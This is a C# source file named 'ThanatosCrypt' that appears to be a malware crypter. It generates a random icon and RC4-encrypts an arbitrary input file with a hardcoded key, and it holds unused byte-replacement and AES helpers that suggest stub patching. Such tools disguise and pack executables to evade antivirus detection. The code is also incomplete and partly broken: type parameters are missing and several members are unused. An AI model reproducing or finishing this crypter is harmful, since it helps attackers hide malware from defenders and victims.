using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Text; using System.Drawing; public static class Encrypt { static byte[] KEY = null; static byte[] IV = null; static byte[] payload = null; private static byte[] EncryptBytes(IEnumerable bytes) { //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance using (var r = Rijndael.Create()) { using (var encryptor = r.CreateEncryptor(KEY, IV)) { return Transform(bytes, encryptor); } } } private static byte[] DecryptBytes(IEnumerable bytes) { //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance using (var r = Rijndael.Create()) { using (var decryptor = r.CreateDecryptor(KEY, IV)) { return Transform(bytes, decryptor); } } } private static byte[] Transform(IEnumerable bytes, ICryptoTransform transform) { using (var stream = new MemoryStream()) { using (var cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write)) { foreach (var b in bytes) cryptoStream.WriteByte(b); } return stream.ToArray(); } } public static class Encryption_Class { public static string Encrypt(string key, string data) { Encoding unicode = Encoding.Unicode; return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data))); } public static string Decrypt(string key, string data) { Encoding unicode = Encoding.Unicode; return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data))); } public static byte[] Encrypt(byte[] key, byte[] data) { return EncryptOutput(key, data).ToArray(); } public static byte[] Decrypt(byte[] key, byte[] data) { return EncryptOutput(key, data).ToArray(); } private static byte[] EncryptInitalize(byte[] key) { byte[] s = Enumerable.Range(0, 256) .Select(i => (byte)i) .ToArray(); for (int i = 0, j = 0; i < 256; i++) { j = (j + key[i % key.Length] + s[i]) & 255; Swap(s, i, j); } return s; } private static IEnumerable EncryptOutput(byte[] key, IEnumerable data) { byte[] s = EncryptInitalize(key); int i = 0; int j = 0; return data.Select((b) => { i = (i + 1) & 255; j = (j + s[i]) & 255; Swap(s, i, j); return (byte)(b ^ s[(s[i] + s[j]) & 255]); }); } private static void Swap(byte[] s, int i, int j) { byte c = s[i]; s[i] = s[j]; s[j] = c; } } } namespace ThanatosCrypt { class Program { public static int FindBytes(byte[] src, byte[] find) { if (src == null || find == null || src.Length == 0 || find.Length == 0 || find.Length > src.Length) return -1; for (int i = 0; i < src.Length - find.Length + 1; i++) { if (src[i] == find[0]) { for (int m = 1; m < find.Length; m++) { if (src[i + m] != find[m]) break; if (m == find.Length - 1) return i; } } } return -1; } public static byte[] ReplaceBytes(byte[] src, byte[] search, byte[] repl) { if (repl == null) return src; int index = FindBytes(src, search); if (index < 0) return src; byte[] dst = new byte[src.Length - search.Length + repl.Length]; Buffer.BlockCopy(src, 0, dst, 0, index); Buffer.BlockCopy(repl, 0, dst, index, repl.Length); Buffer.BlockCopy(src, index + search.Length, dst, index + repl.Length, src.Length - (index + search.Length)); return dst; } public static string generateicon() { int width = 50; int height = 50; Bitmap bitmap = new Bitmap(width, height); Random rand = new Random(); for (int y = 0; y < height - 1; y++) { for (int x = 0; x < width - 1; x++) { int r = rand.Next(256); int g = rand.Next(256); int b = rand.Next(256); bitmap.SetPixel(x, y, Color.FromArgb(r, g, b)); } } IntPtr HIcon = bitmap.GetHicon(); Icon newIcon = Icon.FromHandle(HIcon); string finalpath = Path.GetTempPath() + "randomicon.ico"; FileStream oFileStream = new System.IO.FileStream(finalpath, FileMode.CreateNew); newIcon.Save(oFileStream); oFileStream.Close(); return finalpath; } static void Main(string[] args) { Console.WriteLine("Random icon location: " + generateicon()); Console.Write("Input file to crypt: "); string input = Console.ReadLine().Replace("\r", "").Replace("\n", ""); Console.WriteLine(); Console.Write("Output file: "); string output = Console.ReadLine().Replace("\r", "").Replace("\n", ""); File.WriteAllBytes(output, Encrypt.Encryption_Class.Encrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), File.ReadAllBytes(input))); } } }